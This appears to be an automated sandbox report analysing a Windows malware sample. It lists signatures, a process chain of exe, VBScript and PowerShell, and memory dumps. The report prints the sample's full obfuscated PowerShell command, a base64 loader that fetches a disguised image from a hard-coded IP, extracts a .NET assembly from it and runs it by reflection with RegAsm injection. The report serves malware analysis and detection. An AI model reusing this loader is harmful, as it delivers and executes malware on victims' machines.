Analysis
- max time kernel
150s - max time network
7s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
- submitted
14/08/2026, 09:05
General
- Target a539471a5811cdbd9f80e7d09804ae8b2f9986798a7c0f3b0d00addba087cac1.exe
- Size 32KB
- Sample260814-k18wmsgm7v
- SHA256 a539471a5811cdbd9f80e7d09804ae8b2f9986798a7c0f3b0d00addba087cac1
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\a539471a5811cdbd9f80e7d09804ae8b2f9986798a7c0f3b0d00addba087cac1.exe"C:\Users\Admin\AppData\Local\Temp\a539471a5811cdbd9f80e7d09804ae8b2f9986798a7c0f3b0d00addba087cac1.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\69763daebbd3e.vbs"2⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$ddsdgo ='WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAG0AYQBnAGUARABhAHQAYQAgAHsAIABwAGEAcgBhAG0AIAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AJAB1AHIAbABzACkAIABmAG8AcgBlAGEAYwBoACAAKAAkAHUAcgBsACAAaQBuACAAJAB1AHIAbABzACkAIAB7ACAAdAByAHkAIAB7ACAAJAByAGUAcQB1AGUAcwB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHUAcgBsACkAOwAgACQAcgBlAHEAdQBlAHMAdAAuAE0AZQB0AGgAbwBkACAAPQAgACcARwBFAFQAJwA7ACAAJAByAGUAcwBwAG8AbgBzAGUAIAA9ACAAJAByAGUAcQB1AGUAcwB0AC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlACgAKQA7ACAAJABzAHQAcgBlAGEAbQAgAD0AIAAkAHIAZQBzAHAAbwBuAHMAZQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQBTAHQAcgBlAGEAbQAoACkAOwAgACQAbQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AOwAgACQAcwB0AHIAZQBhAG0ALgBDAG8AcAB5AFQAbwAoACQAbQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKQA7ACAAcgBlAHQAdQByAG4AIAAkAG0AZQBtAG8AcgB5AFMAdAByAGUAYQBtAC4AVABvAEEAcgByAGEAeQAoACkAIAB9ACAAYwBhAHQAYwBoACAAewAgAGMAbwBuAHQAaQBuAHUAZQAgAH0AIAB9ADsAIAByAGUAdAB1AHIAbgAgACQAbgB1AGwAbAAgAH0ADQAKACQAUAByAG8AdABvAGMAbwBsACAAPQAgACcAaAB0AHQAcAAnADsADQAKACQAUwBlAHAAYQByAGEAdABvAHIAIAA9ACAAJwA6AC8ALwAnADsADQAKACQAYgBhAHMAZQBVAHIAbAAgAD0AIAAkAFAAcgBvAHQAbwBjAG8AbAAgACsAIAAkAFMAZQBwAGEAcgBhAHQAbwByADsADQAKACQAaABvAHMAdABQAGEAcgB0ACAAPQAgACcAMQA5ADYALgAyADUAMQAuADEAMAA3AC4AMQAyACcAOwANAAoAJABwAGEAdABoAFAAYQByAHQAIAA9ACAAJwAvAHAAdQBiAGwAaQBjAF8AZgBpAGwAZQBzAC8AJwA7AA0ACgAkAGYAaQBsAGUAUABhAHIAdAAgAD0AIAAnADEANgAwADAANgA0AC4AagBwAGcAJwA7AA0ACgAkAHEAdQBlAHIAeQBQAGEAcgB0ACAAPQAgACcAPwAxADIANwAxADEAMwAxADMAJwA7AA0ACgAkAGYAdQBsAGwAVQByAGwAIAA9ACAAJABQAHIAbwB0AG8AYwBvAGwAIAAd@ACAAJABTAGUAcABhAHIAYQB0AG8AcgAgACsAIAAkAGgAbwBzAHQAUABhAHIAdAAgACsAIAAkAHAAYQB0AGgAUABhAHIAdAAgACsAIAAkAGYAaQBsAGUAUABhAHIAdAAgACsAIAAkAHEAdQBlAHIAeQBQAGEAcgB0ADsADQAKACQAbABpAG4AawBzACAAPQAgAEAAKAAoACQAZgB1AGwAbABVAHIAbAApACkAOwANAAoAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgAEcAZQB0AC0ASQBtAGEAZwBlAEQAYQB0AGEAIAAkAGwAaQBuAGsAcwA7AA0ACgBpAGYAIAAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABpAG0AYQBnAGUAVABlAHgAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAKQA7ACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACAAJABlAG4AZABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACAAaQBmACAAKAAkAHMAdABhAHIAdABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAdAAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAApACAAewAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACAAPQAgACQAZQBuAGQASQBuAGQAZQB4ACAALQAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7ACAAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACkAOwAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAgACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAApADsAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsAIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAAQwBQAFUAIAAtAEQAZQBzAGMAZQBuAGQAaQBuAGcAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAANQAgAHwAIABGAG8AcgBtAGEAdAAtAFQAYQBiAGwAZQAgAE4AYQBtAGUALABDAFAAVQA7ACAAJAB0AHkAcABlACAAPQAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAdABlAHMAdABwAG8AdwBlAHIAcwBoAGUAbABsAC4ASABvAGEAYQBhAGEAYQBhAHMAZABtAGUAJwApADsAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAAQwBQAFUAIAAtAEQAZQBzAGMAZQBuAGQAaQBuAGcAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAANQAgAHwAIABGAG8AcgBtAGEAdAAtAFQAYQBiAGwAZQAgAE4AYQBtAGUALABDAFAAVQA7ACAAJABpAG4AagBlAGMAPQAnAFIAZQBnAEEAcwBtACcAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABtAGUAdABoAE4AYQBtAGUAIAA9ACAAJwBsAGYAcwAnACsAJwBnAGUAZAAnACsAJwBkAGQAZABkAGQAZAAnACsAJwBhACcAOwAgACQAbQBlAHQAaABvAGQAIAA9ACAAJAB0AHkAcABlAC4ARwBlAHQATQBlAHQAaABvAGQAKAAkAG0AZQB0AGgATgBhAG0AZQApAC4ASQBuAHYAbwBd@AGUAKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIAAoACcAdAB4AHQALgBNAHcAVQBIAFQANwA0AC8AcwBlAGwAaQBmAF8AYwBpAGwAYgB1AHAALwAyADEALgA3ADAAMQAuADEANQAyAC4ANgA5ADEALwAvADoAJwAsACAAJwAwACcALAAgACcAcABTAG4AbQB5AFMAWgBBAFcAJwAsACAAJABpAG4AagBlAGMALAAgACcAMAAnACkAKQB9AH0A';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $ddsdgo.replace('d@','r') ));& ([scriptblock]::Create($OWjuxD))3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
69763daebbd3e.vbs
memory/4320-0-0x00007FFFABD1F000-0x00007FFFABD20000-memory.dmp
memory/4320-1-0x0000000000080000-0x000000000008E000-memory.dmp
memory/4320-3-0x00007FFFABB90000-0x00007FFFAC534000-memory.dmp
memory/4320-4-0x00007FFFABB90000-0x00007FFFAC534000-memory.dmp
memory/4528-8-0x000001E40F950000-0x000001E40F972000-memory.dmp